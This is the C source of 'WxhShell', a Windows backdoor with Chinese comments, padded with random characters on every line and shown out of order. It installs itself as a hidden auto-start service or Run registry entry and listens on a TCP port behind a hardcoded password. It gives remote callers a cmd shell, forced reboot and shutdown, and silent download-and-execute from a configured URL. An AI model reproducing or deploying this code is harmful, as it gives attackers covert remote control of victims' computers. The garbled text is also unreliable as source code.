    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PC[cHgSYU  
    if(Boot(SHUTDOWN)) gjQ=8&i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vi<X3G6Xh  
    else { }/4 9T  
    closesocket(wsh); ?n&$m  
    ExitThread(0); _l<| 1nH  
    } QS5H >5M)  
    break; 1GUqT 9)  
    } ;fj9 n-  
  // 获取shell joY1(Y  
  case 's': { e"PMvQ  
    CmdShell(wsh); srsK:%`  
    closesocket(wsh); @7 )Z  
    ExitThread(0); u2\+?`Ox  
    break; s><IykIi  
  } ?LR"hZ>  
  // 退出 61L7 -~  
  case 'x': { Ogd8!'\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XN4oL[pO  
    CloseIt(wsh); Et)9 20  
    break; _ r~+p  
    } 'HJ/2-=  
  // 离开 *$JB`=Q  
  case 'q': { D7M0NEY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^t`f1rGR  
    closesocket(wsh); )&XnM69~b  
    WSACleanup(); q%DVDq( z  
    exit(1); Q5hb0O%a  
    break; 0n\^$WY  
        } w[e0wh`.  
  } >/8ru*Oc  
  } I'xC+nL@  
R04.K !  
  // 提示信息 c1PViko,>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XynU/Go,  
} Zo'/^S  
  } ;x,+*%  
)-)ss"\+Ju  
  return; bd} r#^'K  
} g&q]@m  
k?o^5@b/  
// shell模块句柄 2ve lH;  
int CmdShell(SOCKET sock) V;H d)v( j  
{ ^@M [t<  
STARTUPINFO si; DakLD~H;  
ZeroMemory(&si,sizeof(si)); i^/ eN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L7s>su|c(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r >E\Cco  
PROCESS_INFORMATION ProcessInfo; hx*HY%\P  
char cmdline[]="cmd"; `i=JjgG@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h-Tsi:%b  
  return 0; aMBL1d7  
} S^|$23}  
,Y$F7&  
// 自身启动模式 } /[_  
int StartFromService(void) z~BD(FDI  
{ k& WS$R?u  
typedef struct GSC{F#:z  
{ Tt{U"EFO  
  DWORD ExitStatus; A*rZQh b[  
  DWORD PebBaseAddress; -)4uYK*  
  DWORD AffinityMask; U~oBNsU"  
  DWORD BasePriority; 1d/NZJ9  
  ULONG UniqueProcessId; Po'-z<}wS  
  ULONG InheritedFromUniqueProcessId; +ylxezc  
}   PROCESS_BASIC_INFORMATION; xOwNCh  
tCuN?_ UG  
PROCNTQSIP NtQueryInformationProcess; 3w t:5 Im  
umZlIH[7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P4hZB_.=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fL(':W&n-  
Jq=00fcT+  
  HANDLE             hProcess; K5 5} Wi  
  PROCESS_BASIC_INFORMATION pbi; !'Pk jP  
VV?]U$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y0@'za^y  
  if(NULL == hInst ) return 0; caGML|DeI  
c:3@[nF~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1P(%9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $7msL#E7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XC*uz  
?H y%ULk  
  if (!NtQueryInformationProcess) return 0; '.]e._T  
=Dh$yC-Zr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oP+kAV#]  
  if(!hProcess) return 0; TTeAa  
"Q3PC!7X:5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xN e_qO  
fndK/~?]H  
  CloseHandle(hProcess); >{j,+$%kp  
=$^Wkau  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _7rqXkp%  
if(hProcess==NULL) return 0; &=v/VRan[  
<^CYxy  
HMODULE hMod; I++W0wa.n  
char procName[255]; xIS\4]F?r  
unsigned long cbNeeded; gV<0Hj  
]]\)=F`n77  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L{cK^ ,  
^;0~6uBEJr  
  CloseHandle(hProcess); H @_eFlT t  
9=Y,["br$_  
if(strstr(procName,"services")) return 1; // 以服务启动 :hC {5!|  
l4iuu  
  return 0; // 注册表启动 C>.]Bvg  
} Py|H? ,6=  
i0,%}{`  
// 主模块 Ul '~opf  
int StartWxhshell(LPSTR lpCmdLine) c+@d'yR  
{ #g@  
  SOCKET wsl; l84h%,  
BOOL val=TRUE; DCEvr"(  
  int port=0; ]NaMZ  
  struct sockaddr_in door; y3&Tv  
c'4>D,?1  
  if(wscfg.ws_autoins) Install(); @?<N +qdH>  
&/B2)l6a  
port=atoi(lpCmdLine); yf `.%  
3S[w'  
if(port<=0) port=wscfg.ws_port; Fv?R\`52u  
8vz_~p9%j  
  WSADATA data; r!{w93rPX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4q\.I +r^  
)z]q"s5 Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :N^@a-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NWo7wVwc/c  
  door.sin_family = AF_INET; Ybs=W< -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 844tXMtPB\  
  door.sin_port = htons(port); vDu0  
p{A}p9sjx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }4bB7,j  
closesocket(wsl); p{mxk)A  
return 1; '#cT4_D^lI  
} zznPD%#Sc  
K$MJ#Zx^  
  if(listen(wsl,2) == INVALID_SOCKET) { ;whFaQi 4  
closesocket(wsl); #JJp:S~`   
return 1; xFsB?d  
} OoAr%  
  Wxhshell(wsl); JVJ1Ay/be  
  WSACleanup(); j33P~H~  
*=-__|t  
return 0; Ee t+  
MZUF! B  
} pm'@2dT  
s,UN'~e1  
// 以NT服务方式启动 l|@/?GaH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GibggOj2Q,  
{ ^}i5 0SG:y  
DWORD   status = 0; xZ9}8*Q&:  
  DWORD   specificError = 0xfffffff; ,z?<7F1q=  
2a._?(k_y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jMz1s%C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \3n{w   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % +kT  
  serviceStatus.dwWin32ExitCode     = 0; 37:b D  
  serviceStatus.dwServiceSpecificExitCode = 0; .LXh]I *  
  serviceStatus.dwCheckPoint       = 0; %{N$1ht^  
  serviceStatus.dwWaitHint       = 0; ch5`fm  
A@@)lD.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <F#*:Re_y  
  if (hServiceStatusHandle==0) return; .oi}SG  
T3u5al  
status = GetLastError(); j61BP8E  
  if (status!=NO_ERROR) $nGbT4sc  
{ Z ,|1G6f@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f_re"d 3u  
    serviceStatus.dwCheckPoint       = 0; 5{R#h :  
    serviceStatus.dwWaitHint       = 0; H y.3ccZ0  
    serviceStatus.dwWin32ExitCode     = status; y(c|5CQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; t_dw}I   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?l\gh1{C  
    return; %# Wg^l '  
  } .T#y N\S1  
#q~3c;ec  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *!r\GGb  
  serviceStatus.dwCheckPoint       = 0; :Fi%Cef|  
  serviceStatus.dwWaitHint       = 0; \J,- <wF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xY\*L:TwW  
} h9Tf@]W   
Y2=Brtc[@  
// 处理NT服务事件,比如:启动、停止 NgE&KPj\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F(KH-  
{ F9u:8;\@`  
switch(fdwControl) n3l"L|W^(<  
{ s{"`=dKT  
case SERVICE_CONTROL_STOP: e\d5SKY  
  serviceStatus.dwWin32ExitCode = 0; [5RFQ!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; we:5gK &  
  serviceStatus.dwCheckPoint   = 0; ? !oVf>  
  serviceStatus.dwWaitHint     = 0; yv!''F:9F  
  { TzevC$m;z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5L(_0?F1  
  } |7S4;  
  return; 7kX7\[zN  
case SERVICE_CONTROL_PAUSE: 2vh!pez_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JL.yd H79  
  break; (:fE _H2z  
case SERVICE_CONTROL_CONTINUE:  z~}StCH(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7+D'W7Yx  
  break; j^aQ>(t(9  
case SERVICE_CONTROL_INTERROGATE: D)O6| DiO  
  break;  0'V-  
}; _pH6uuB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A5.'h<  
} (. quX@w"m  
,rH)}C<Q+  
// 标准应用程序主函数 /v bO/Mr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RXx?/\~yd;  
{ qa0JQ_?o]  
r_g\_y7ua  
// 获取操作系统版本 Cb@S </b  
OsIsNt=GetOsVer(); 6wpND|cT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <PfPh~  
CYFas:rPLT  
  // 从命令行安装 < ;%q  
  if(strpbrk(lpCmdLine,"iI")) Install(); !0. 5  
XD+cs.{5  
  // 下载执行文件 * 0&i'0>  
if(wscfg.ws_downexe) { #>=/15:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5&rCNi*\  
  WinExec(wscfg.ws_filenam,SW_HIDE); w}bEufU+2  
} ^+- L;XkeY  
?9('o\N:  
if(!OsIsNt) { /K1$_   
// 如果时win9x,隐藏进程并且设置为注册表启动 l9ifUh e  
HideProc(); ,syA()  
StartWxhshell(lpCmdLine); :d% -,v  
} M[ ~2,M&H  
else . ~A"Wyu\  
  if(StartFromService()) RZV1:hNN  
  // 以服务方式启动 8Snq75Q<   
  StartServiceCtrlDispatcher(DispatchTable); )HzITsFZKT  
else ek{PA!9Sk  
  // 普通方式启动 2,XqslB)  
  StartWxhshell(lpCmdLine); ]:E! i^C`Z  
Xg!|F[i  
return 0; $ vw}p.  
} P2 K>|r  
r;%zG Fp  
/[0 /8f6  
LHHDt<+B  
=========================================== vq0M[Vy  
Za:BJ:  
dnX`F5zd  
,[ J'!NC1  
#Lxj )  
0m+5Zn  
" Y3MR:{}  
k,NU,^ &  
#include <stdio.h> &W!d}, ;  
#include <string.h> C(t6;&H  
#include <windows.h> ^d5./M8Bd  
#include <winsock2.h> 7]. IT(  
#include <winsvc.h> eZ.0,A*1B1  
#include <urlmon.h> MY<!\4/  
AXU!-er$  
#pragma comment (lib, "Ws2_32.lib") Acq>M^E3  
#pragma comment (lib, "urlmon.lib") ^0ZKHR(}e  
cdtzf:#q  
#define MAX_USER   100 // 最大客户端连接数 HyX4ob[X  
#define BUF_SOCK   200 // sock buffer eR* ]<0=  
#define KEY_BUFF   255 // 输入 buffer #`#aSqGmc  
dW^_tzfF7  
#define REBOOT     0   // 重启 $L#Z?76v  
#define SHUTDOWN   1   // 关机 w7t"&=pF7  
A6x_!  
#define DEF_PORT   5000 // 监听端口 ^`>Ysc(@&  
zWmo OnK  
#define REG_LEN     16   // 注册表键长度 g*AD$":  
#define SVC_LEN     80   // NT服务名长度 Qd./G5CC  
B';Ob  
// 从dll定义API b?^n'0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w#1dO~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1,QRfckks  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xm4wuX"e=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mm;)O'XDE  
r%#qbsN  
// wxhshell配置信息 ~4^e a  
struct WSCFG { g3Q #B7A  
  int ws_port;         // 监听端口 yS43>UK_W+  
  char ws_passstr[REG_LEN]; // 口令 b?$09,{0  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ;E&XFTdO  
  char ws_regname[REG_LEN]; // 注册表键名 3q>"#+R.t  
  char ws_svcname[REG_LEN]; // 服务名 ,*4"d._Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NLpD,q{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G#V22Wca8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e>^R 8qM?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Gpj^aBU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dk-L4FS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c`.:"i" k3  
r&[~/m8zl  
}; EyeLC6u  
T82_`u  
// default Wxhshell configuration YZ>cE#  
struct WSCFG wscfg={DEF_PORT, zaZ}:N/w(z  
    "xuhuanlingzhe", @}gdOaw  
    1, fUXp)0O  
    "Wxhshell", GN<I|mGLJK  
    "Wxhshell", {<2Zb N?  
            "WxhShell Service", |$t0cd  
    "Wrsky Windows CmdShell Service", =gIYa  
    "Please Input Your Password: ", wj^I1;lO  
  1, "Pc,+>vh  
  "http://www.wrsky.com/wxhshell.exe", jveRiW@  
  "Wxhshell.exe" @\y7 9FX  
    }; P1QJ'eC;T  
Kq$Zyf=E  
// 消息定义模块 ie!4z34  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W!k6qTz)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }D^Gt)   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vFOv IVp  
char *msg_ws_ext="\n\rExit."; XbC8t &Q],  
char *msg_ws_end="\n\rQuit."; &J b.OCf  
char *msg_ws_boot="\n\rReboot..."; 7N"Bbl  
char *msg_ws_poff="\n\rShutdown..."; ["}A#cO652  
char *msg_ws_down="\n\rSave to "; Cf7\>U->  
x\rZoF.NQ  
char *msg_ws_err="\n\rErr!"; [f0HUbPX  
char *msg_ws_ok="\n\rOK!"; }'W^Ki$  
| #Pc e  
char ExeFile[MAX_PATH]; qM0MSwvC=  
int nUser = 0; + joE  
HANDLE handles[MAX_USER]; ECScx02  
int OsIsNt; !iVFzG @m  
)ta5y7np  
SERVICE_STATUS       serviceStatus; 6dL>Rzl$Dk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qt(:bEr^6b  
7gwZ9Fob  
// 函数声明 1l_}O1  
int Install(void); -G;1U  
int Uninstall(void); ,#T3OA!c**  
int DownloadFile(char *sURL, SOCKET wsh); F4x7;?W{*  
int Boot(int flag); FW DuH`-5  
void HideProc(void); O+?zn:  
int GetOsVer(void); kPH^X}O$  
int Wxhshell(SOCKET wsl); v8Zg og)V  
void TalkWithClient(void *cs); bJm0  
int CmdShell(SOCKET sock); ~ ""MeaM8[  
int StartFromService(void); q4i8Sp>  
int StartWxhshell(LPSTR lpCmdLine); j6vZ{Fx;w  
$:[BB ,$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0*?XQV@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yV/ J(  
SN(=e#ljE  
// 数据结构和表定义 noA\5&hqW  
SERVICE_TABLE_ENTRY DispatchTable[] = )6&\WNL-x  
{ pT@!O}'$  
{wscfg.ws_svcname, NTServiceMain}, \&5@yh  
{NULL, NULL} LG#w/).^  
}; dV{Hn {(  
DA$Q-  
// 自我安装 ^Nw]'e3  
int Install(void) Jche79B  
{ o%%x'uC  
  char svExeFile[MAX_PATH]; =h::VB}Lv  
  HKEY key; &ZN'Ey?  
  strcpy(svExeFile,ExeFile); 0:'jU  
>iH).:j  
// 如果是win9x系统,修改注册表设为自启动 1bg@[YN!;  
if(!OsIsNt) { TRLeZ0EC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t`T\d\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "g%:#'5  
  RegCloseKey(key); m->%8{L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { id+m [']+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #0g#W  
  RegCloseKey(key); 'c0'P%[5A  
  return 0; (D m"e`  
    } ^70.g?(f[  
  } 4Qel;  
} &ORv bnd6  
else { z<6P3x|  
}c4E 2c  
// 如果是NT以上系统,安装为系统服务 :.o=F`W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =jIT"rk  
if (schSCManager!=0) V`,[=u?c  
{ n>:c}QAJH  
  SC_HANDLE schService = CreateService 8EG8!,\I  
  ( Cw[Od"B\?U  
  schSCManager, #A/J^Ko  
  wscfg.ws_svcname, tH,K\v`f  
  wscfg.ws_svcdisp, ~,!hE&LE~  
  SERVICE_ALL_ACCESS, yp{F 8V 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OF<n T  
  SERVICE_AUTO_START, @MZ6E$I  
  SERVICE_ERROR_NORMAL, x;FO|fH  
  svExeFile, mnQjX ?  
  NULL, 2${,%8"0s  
  NULL, m0\"C-Bk  
  NULL, n5k^v $'  
  NULL, }gi1?a59  
  NULL "gN*J)!x  
  ); R%N#G<^R  
  if (schService!=0) V> a3V'  
  { {<}I9D5  
  CloseServiceHandle(schService); CDW(qq-zD  
  CloseServiceHandle(schSCManager); EB2^]?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [wio/wc  
  strcat(svExeFile,wscfg.ws_svcname); ).+xcv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t7oz9fSz=?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3]`qnSYBv  
  RegCloseKey(key); !|<f%UO  
  return 0; *KjVPs  
    } pm W6~%}*  
  } _X%6+0M  
  CloseServiceHandle(schSCManager); H"FflmUO  
} I"cQ5gF?A  
} x-V' 0-#U>  
lv\F+?]a  
return 1; +?j?|G  
} fteyG$-s  
i[ Gw 7'f  
// 自我卸载 !v5sWVVR  
int Uninstall(void) 86[RH!e  
{ m{lRFKx>s  
  HKEY key; h"BhTx7E}  
)1Ma~8Y%r  
if(!OsIsNt) { TFJ{fLG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oj^5G ]_ <  
  RegDeleteValue(key,wscfg.ws_regname); KSgQ:_u4}  
  RegCloseKey(key); X[~f:E[1J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *]:G7SW{  
  RegDeleteValue(key,wscfg.ws_regname); +A'q#~yILa  
  RegCloseKey(key); hDB`t $  
  return 0; 7:VEM;[d  
  } Xw*%3'  
} ;ad9{":J#B  
} 4('0f:9z+  
else { GwMUIevO_  
.}$`+h8W T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y1yXB).AH8  
if (schSCManager!=0) f^6&Fb>  
{  g`)/x\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (Y'UvZlM%P  
  if (schService!=0) \2gvp6  
  { SA`J.4yn  
  if(DeleteService(schService)!=0) { w~Tq|kU[  
  CloseServiceHandle(schService); iO?gF  
  CloseServiceHandle(schSCManager); Gh$y#0qr  
  return 0; *%Nns',  
  } rY[3_NG%  
  CloseServiceHandle(schService); $LxG>db  
  } l${Hgn+  
  CloseServiceHandle(schSCManager); h=v[i!U-eY  
} [NCXn>Z  
}  +eDN,iv  
$vgmoJ@X0  
return 1; (:&&;]sI  
} X|-v0 f  
(5Z8zNH`3  
// 从指定url下载文件 8g# c%eZ  
int DownloadFile(char *sURL, SOCKET wsh) c6?c>*z  
{ F;d%@E_Bc  
  HRESULT hr; .`p<hA)%[C  
char seps[]= "/"; CzzUi]*Ac{  
char *token; w| -0@  
char *file; lnS\5J  
char myURL[MAX_PATH]; Eo7 _v  
char myFILE[MAX_PATH]; oN&rq6eN  
o7c%\v[  
strcpy(myURL,sURL); @H3s2|  
  token=strtok(myURL,seps); }{#;;5KrB  
  while(token!=NULL) ONr?.MJ6j  
  { :>tF_6  
    file=token; S|{Yvyp  
  token=strtok(NULL,seps); wL8bs- U  
  } (1kn):  
'uP'P#  
GetCurrentDirectory(MAX_PATH,myFILE); (opROsFh  
strcat(myFILE, "\\"); .KiPNTh'  
strcat(myFILE, file); B%%.@[o,  
  send(wsh,myFILE,strlen(myFILE),0); a2c x  
send(wsh,"...",3,0); c]s (u+i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c ,h.`~{  
  if(hr==S_OK) O:`GL1{ve?  
return 0; RQj`9F  
else E(aX4^]g  
return 1; ";-{ ~  
*/%$6s~  
} $I)Tk`=  
V!pq,!C$v  
// 系统电源模块 gD,YQ%aq  
int Boot(int flag) oglXW8  
{ Vr&el  
  HANDLE hToken; RR[)UQ  
  TOKEN_PRIVILEGES tkp; i$`|Y*  
P;)2*:--)  
  if(OsIsNt) { >~`Y   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _SMT.lG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .iOw0z  
    tkp.PrivilegeCount = 1; LKK{j,g7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <_BqpZ^`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SE-!|WR  
if(flag==REBOOT) { ^w;o\G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `YFkY^T  
  return 0; yM(_P0  
} #6*V7@9]3|  
else { ZfFIX5Qd\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O_r^oH  
  return 0; m+D2hK*  
} .;<7424(%  
  } 1zb$5{,|  
  else { !XgQJ7y_Z  
if(flag==REBOOT) { FSW3'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o-\ok|,)#j  
  return 0; "?oo\op  
} ?dp -}3/G  
else { %-h7Z3YcN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x\Nhix}1D  
  return 0; D 7Gd%  
} L"""\5Bn(  
} $Qn& jI38  
9O),/SH;:  
return 1; g>6:CG"  
} kbfuvJ>  
[b7it2`dl  
// win9x进程隐藏模块 B]'e$uyL7  
void HideProc(void) Tjd&^m  
{ [=XZza.z  
v;)BVv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <ldid]o #  
  if ( hKernel != NULL ) c+szU}(f6(  
  { .Lr`j8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :@:g*w2K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r:fwrC  
    FreeLibrary(hKernel); P\D[n-&  
  } #D!$~ h&i  
20 jrv'f  
return; S 3{Dn  
} 98D{{j92  
X?KGb{  
// 获取操作系统版本 c_~XL^B@  
int GetOsVer(void) =ied}a :[  
{ I?f"<5[0  
  OSVERSIONINFO winfo; TZ^{pvBy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \1=T sU&^  
  GetVersionEx(&winfo); rER~P\-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mcvDxjk,h  
  return 1; }R`8h&J  
  else zXj>K3M  
  return 0; dj?G.-  
} V8-4>H}Cb/  
YH6snC$u  
// 客户端句柄模块 H"2U)HJl  
int Wxhshell(SOCKET wsl) G i$  
{ * zd.  
  SOCKET wsh; a^@+%?X  
  struct sockaddr_in client; r`?&m3IOP  
  DWORD myID; b0y-H/d/}  
I|$'Q$m~  
  while(nUser<MAX_USER) WEno+Z~=1'  
{ %0NLRfp  
  int nSize=sizeof(client); ;])I>BT[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $`E4m8fX  
  if(wsh==INVALID_SOCKET) return 1; V78Mq:7d  
x*:n4FZ7b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P1dN32H o  
if(handles[nUser]==0) !?yxh/>lM  
  closesocket(wsh); gs$3)t  
else _Mlhum t  
  nUser++; x2Ha&   
  } aZ8h[#]7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FL59  
RwUW;hU  
  return 0; Vz%"9`r  
} S*;#'j)4+  
>r~0SMQr  
// 关闭 socket j6`6+W=S(  
void CloseIt(SOCKET wsh) $B<~0'6}  
{ CP}0Ri)  
closesocket(wsh); uRP Ff77  
nUser--; O\%j56Bf  
ExitThread(0); X d!Cp  
} B<A:_'g  
_wMc*kjJO  
// 客户端请求句柄 mG X\wta  
void TalkWithClient(void *cs) P<8LAc$T  
{ yxqTm%?y  
HS7R lU^  
  SOCKET wsh=(SOCKET)cs; MY&<)|v\  
  char pwd[SVC_LEN]; TV<Aj"xw  
  char cmd[KEY_BUFF]; pH^ z  
char chr[1]; b7Yq_%+  
int i,j; L%f-L.9`u  
,K T<4  
  while (nUser < MAX_USER) { 6 tX.(/+L  
QI.t&sCh5  
if(wscfg.ws_passstr) { C:Vv!u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yj>) {NcX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P1$f}K}  
  //ZeroMemory(pwd,KEY_BUFF); M\I_{Q?_  
      i=0; xOhRTxic  
  while(i<SVC_LEN) { e!6eZ)l  
ubD#I{~J  
  // 设置超时 %@>YNPD`E  
  fd_set FdRead; ACgt" M.3F  
  struct timeval TimeOut; $\+"qs)  
  FD_ZERO(&FdRead); Tu==49  
  FD_SET(wsh,&FdRead); @sN^BX`z  
  TimeOut.tv_sec=8; E{<?l 7t  
  TimeOut.tv_usec=0; "=FIFf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fTTm$,f5N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FWIih5 3`  
"X`Qe!zk4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vnDmFqelz  
  pwd=chr[0]; @ozm;  
  if(chr[0]==0xd || chr[0]==0xa) { q Z#!CPHS  
  pwd=0; :sFo  
  break; &ryiG  
  } [ ynuj3G V  
  i++; 5H~@^!7t  
    } Dp^95V@  
#iiwD|  
  // 如果是非法用户,关闭 socket Ln:lC( '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O!/ekU|,r  
} ,b$z!dvhl  
Ac J>$L)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1p~5h(jI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7$K}qsr<  
R \ia6  
while(1) { iEe#aO"D!  
iFSJ4 W(  
  ZeroMemory(cmd,KEY_BUFF); *g*VCO  
6`1k ^  
      // 自动支持客户端 telnet标准   ekrBNDs9  
  j=0; CNq[4T'~A  
  while(j<KEY_BUFF) { f7ZA837Un  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R#D#{ cC(  
  cmd[j]=chr[0]; }H5/3be  
  if(chr[0]==0xa || chr[0]==0xd) { ZxI]I1)  
  cmd[j]=0; &eU3(F`.  
  break; JfSdUWxT  
  } {b[tA, >  
  j++; hw*1gm  
    }  C[R`Ml  
L(;.n>/  
  // 下载文件 .3(;9};  
  if(strstr(cmd,"http://")) { _Cj(fFL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mLQUcYfR  
  if(DownloadFile(cmd,wsh)) (NPxab8e*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @FU~1u3d  
  else Xty# vI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |J\,F.{'  
  } QsM*wT&aa  
  else { ;|;iCaD a+  
(ZS/@He  
